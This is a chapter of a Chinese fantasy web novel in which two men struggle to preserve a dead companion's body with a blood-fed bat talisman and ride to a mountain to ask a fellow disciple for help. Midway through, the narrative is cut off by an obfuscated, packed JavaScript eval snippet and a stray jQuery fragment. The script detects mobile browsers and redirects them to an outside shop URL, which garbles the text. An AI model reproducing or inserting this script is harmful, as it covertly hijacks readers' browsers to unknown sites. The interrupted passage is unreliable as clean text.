第二百八十七章:女子血
    扎罗阿伸出手,刚才喂给黑蝙蝠鲜血的那个伤口里,流的竟然不再是血,而是涌出一团又一团的黑气。

    胡为民看傻眼了:

    “什么意思?你要变身成黑蝙蝠去?”

    扎罗阿觉得胡为民说的好笑,但是他已经没有力气扯出笑脸,只是撑着最后一口气说道:

    “二位宫师,一定要守约,要送我去阴曹地府。要是我炼不成肉身菩萨,我必死无疑。”

    胡为民发出一连串表示拒绝的“哎哎哎”:

    “可别提你的肉身菩萨了,你也不看看你的通冥法坛都成什么样了。你愿意再进去折腾你自己去,我们兄弟二人就不奉陪了。”

    胡为民说着,就想从扎罗阿身边走开,结果扎罗阿突然伸手抓住了胡为民的胳膊:

    “通冥法坛……白纸灯笼撤掉就没事了。胡宫师,别忘了你可是答应过我的,只要我救你们出来,我炼肉身菩萨的事就包在你身上了。”

    胡为民被为难住了,这话他确实说过。既然说过,不认账就是不可能的。

    扎罗阿说完就松开了胡为民的胳膊,身子一软就歪倒在地上。

    胡为民“唉呀”一声又蹲下去,扶着扎罗阿勉强坐起来后说:

    “你说你都这样了,我们带你去阴曹地府干啥?是怕你死了找不到黄泉路吗?还亲自送你去?”

    扎罗阿像是要打瞌睡一样半闭着眼睛,说话也有气无力:

    “放心,我有崇神符护体,暂时死不了。但是,二位宫师要是不送我去阴曹地府炼肉身菩萨,我也是活不了多久的。”

    绕来绕去,终究还是没有逃出送扎罗阿去阴曹地府的命。

    我本来还想着,经历了白纸灯笼的事以后,把阴曹地府的事或许能推辞掉,现在看来,反而愈发的不可能了。

    扎罗阿再怎么说也是救过我和胡为民的人,哪怕他当初救我们的目的,就是为了让我们送他去阴曹地府。但是他占了前因的便宜,我们就只能负责后果。

    胡为民看着半死不活的扎罗阿,满脸为难地看着我。

    我还没来得及说话,扎罗阿又从胸口出掏出他的黑蝙蝠:

    “我死后,我的崇神符会收了我的肉身。你们千万记得保护好我的崇神符,一定要到底阴曹地府再放我出去。”

    胡为民看着扎罗阿:

    “你刚才不是说你暂时死不了吗?怎么这会又要死了?”

    扎罗阿一边把黑蝙蝠塞到胡为民手里,一边颤抖着发白的嘴唇说:

    “收进我的崇神符,我自然不会死。若是把我放在外面,我……我……我……”

    扎罗阿一连说了三个“我”,却没“我”出个名堂,最后竟然出尽最后一口气,死了。

    胡为民看着没了气息的扎罗阿,慌忙去拍打他的脸:

    “你这人怎么说走就走?你好歹告诉我这黑蝙蝠要怎么用,才能把你的肉身收进去啊。”

    扎罗阿已经是死了,尽管胡为民把他的脸拍的山响,扎罗阿也不可能听见。

    扎罗阿没有说黑蝙蝠怎么用,胡为民也不知道,双手捧着那只黑蝙蝠就朝我怀里塞。

    “还是你想办法救他吧,我不会。”

    我闪身躲开胡为民:

    “开什么玩笑?人家是托孤给你的,又不是给我的。”

    胡为民急了:

    “山桥,都这会了,你就别跟我闹了。你要是也没有办法,那我就挖个坑把他埋了算了。”

    好家伙,胡为民倒是会解决问题,而且感觉他能把问题解决的很彻底。

    不过我和胡为民心里都清楚,这种话只能说说,不可能真的做出来。

    黑蝙蝠不会用,扎罗阿的肉身就收不起来。所以眼下先要考虑的,是怎么让黑蝙蝠收了扎罗阿,

    可是怎么收呢?

    我想起扎罗阿用手心血喂黑蝙蝠,心想只能试试再说。

    胡为民问我:

    “万一这个办法不行呢?”

    我说:

    “不行就找依染,他们师出同门,应该知道黑蝙蝠怎么用。”

    我说着就划破手心,用自己的血喂那只黑蝙蝠。

    行不行都要抓紧时间知道,明天就是皇宫里的斗法器大赛,我和胡为民还要去参加大赛。

    黑蝙蝠吸血又快又狠,我感觉眼前有点眩晕。也不知道扎罗阿喂黑蝙蝠的时候,是不是和我一样不舒服。

    胡为民见我喂了半天的黑蝙蝠,那东西也不见暴涨起身形,对我说:

    “山桥,它是不是喝不惯你的血?要不要我来试试?”

    我说:

    “都是大老爷们,怎么可能喝不惯我的,就能喝得惯你的?”

    胡为民不吭声了,我硬撑着又给那黑蝙蝠喂了一阵血。结果它只是肚子渐渐滚圆起来,就是不暴涨身形。

    我有点扛不住了,这黑蝙蝠吸血这么狠,别到时候救不了扎罗阿,再把我的小命搭进去。

    “大哥,咱俩换换吧,这东西我喂不出变化。”

    我想着这样的要求应该很合理吧,我撑不住了,胡为民不可能看着我失血而死吧?再说他自己刚才也主动说要喂黑蝙蝠,他怎么可能拒绝我?

    可是

    ,事实是,胡为民真的拒绝我了。

    “山桥,你都说了咱俩都是大老爷们,血也是一样的。你的喂不出变化,我的肯定也不行啊。”

    我愣了愣:

    “你不愿意?难道你想眼睁睁看着我死?”

    也许是喂了太多血给黑蝙蝠,我这会有点头晕眼花。心情不好,说话也就难听起来。

    胡为民也不计较,而是连忙解释道:

    “哪里能看着你死?我的意思是,不如我们连夜赶去渡莱山,问问依染这东西到底怎么用。”

    我想了想,觉得胡为民说的也有道理。

    我已经失了那么多血,都没用。如果让胡为民也这么做,那就证明我们两个有点蠢了。

    此时正是后半夜,这时候带着扎罗阿的尸身出门,倒也不担心有人看见。

    那只黑蝙蝠喝饱了血,看上去有点昏昏欲睡。我想学着扎罗阿的样子把它放在胸口,结果吞天藤不乐意的:

    “要它,我走。”

    我去,这小东西竟然知道吃醋?没办法,我只能把黑蝙蝠塞到胡为民的胸口。

    想要这会出发去渡莱山,再赶到明天早上回来,那只能找路吕老爷借两匹好马了。

    吕老爷没想到我们三个活人进了书房,出来的却是一死两活。他以为扎罗阿犯了什么急症,我和胡为民也没有多说,就顺着他的话应付了一下,然后又借着要给扎罗阿瞧病的理由,问吕老爷借来两匹好马。

    吕老爷不放心,问要不要派几个下人给我们帮忙?

    胡为民嗤了一下鼻子:

    “吕老爷府上的下人,我们可用不起,白纸灯笼的事我可不敢忘。”

    胡为民的意思,吕老爷的下人们会闯祸,会害人,他害怕这些人跟着他帮倒忙。

    胡为民真是哪壶不开提哪壶,他一句话,就把吕老爷的脸臊红了。

    吕老爷尴尬着不知道说什么才好,我白了胡为民一眼:

    “吕老爷不必客气,我们两个人送扎罗阿瞧病,能应付过来。只是扎罗阿现在不能走动,所以要借吕老爷两匹快马用用才行。”

    吕老爷想都没想就答应了:

    “我这就让人给你们去牵马。”

    马匹很快就来了,胡为民仗着自己身板壮实,把扎罗阿用绳子绑在自己身上,和我径直朝渡莱山而去。

    到了渡莱山上,这里的一切都和我们上次来的时候一样。我还以为皇上会继续派人绞杀曲如屏和鬼婴儿,但是看现在的情况,皇上应该,或者说

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14230775|151330||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    最近还没有派人上来。

    我和胡为民把扎罗阿的尸身带到行宫的正门口,胡为民看着扎罗阿,我去侧门里找曲如屏她们。

    侧门里,之前的那些死人已经被处理干净了。除了还能闻到一点尸体的腐臭味,别的痕迹已经看不见了。

    我走进曲如屏的卧房,那片月光还悬挂在那里。我把吞天藤从怀里拽出来,指着月光对它说:

    “吞吞,带我进去找人。”

    吞天藤只抬头看了一眼那片月光,便摇头道:

    “都没人,找谁?”

    没人?这片月光里没人?这怎么可能啊。

    皇上的人没有来,曲如屏她们不可能被抓走,那她们能去哪里。

    难不成,曲如屏还有别的藏身之处?

    如果曲如屏真的有别的办法藏起来,那我可就要抓瞎了,因为我根本不知道她另一个藏身的地方在哪里?

    就在这时,吞天藤突然扯着我的胳膊,把我从曲如屏的卧房里拉出来:

    “别傻这里,我带你去找……她们。”

    什么?吞天藤竟然知道曲如屏在哪里?这怎么可能?它和曲如屏是什么时候开始有交集的,我怎么不知道?

    吞天藤见我还在发愣,有点不耐烦了。一边拉着我从卧房里出去,一边在我耳边低声说:

    “今日……月圆之夜,曲娘娘肯定……去山头吸……月之精华。”

    我愣住了,我千想万想,都没想到会是这么回事。差一点,我就要误会吞天藤是不是背着我,和曲如屏密谋了什么。

    我讪笑着:

    “吞吞,那个……你不是要带我去找曲娘娘吗,我们快走吧。”

    吞天藤毕竟不是人,心里没有那么多弯弯绕。它还不知道我刚才阴晴不定看它的眼神,其实是在怀疑它,仍拉了我从侧门里奔出去。

    此时已经是后半夜,天上的明月依然清亮如水,光华耀眼。吞天藤带着我转到行宫后面的一个山峰上,果然看见曲如屏跪在地上拜月。

    只见那山峰上除了曲如屏外,旁边还跪着小夫人和依染。

    我只想找依染,就问吞天藤能不能只把依染弄过来,不要打扰曲如屏和小夫人。

    吞天藤不解:

    “她们一起……为啥只见一……个?”

    我知道吞天藤,要是不给它解释清楚,它肯定会一直问下去,便说:

    “只找依染有事,不想曲娘娘和小夫人发现我来了。”

    我声音压的极低,吞天藤也学着我说话,声音低的我几乎要听不见了:

    “只拉依染过来……她们会……发现的。”

    我说:

    “偷偷拉,问完了事情再

    把她送回去。”

    吞天藤第一次做贼偷人,看上去紧张的不得了。努力调整了好半天状态,才悄悄飞起,又慢慢落到依染身后。

    尽管吞天藤已经很小心了,可是,当它刚碰到依染的身体,依染一声尖叫,曲如屏和小夫人就回了头。

    吞天藤被发现了,这家伙原地不动,只是突然拉长自己的胳膊,一把就将我揪到了三个女子的面前。

    吞天藤献宝一样把我推到三个女子面前,头一次干脆利落地说道:

    “他让我拉人,他说只想见依染,他说不想你们看见他。”

    我的突然出现,当然让三个女子很吃惊。我心想与其藏着掖着,不如直接开门见山,告诉她们出事就完了。

    于是我装作很惊慌的样子,把扎罗阿的事告诉了依染。

    我故意不去看曲如屏和小夫人,只强调马上要出人命了。曲如屏和小夫人果然被我带起了情绪,也和我一起看着依染,等她开口说话。

    可是,依染一开口,我和曲如屏还有小夫人都愣住了。

    “崇神符?那东西只能用女子的血去喂,它不可能喝我大师兄的血。”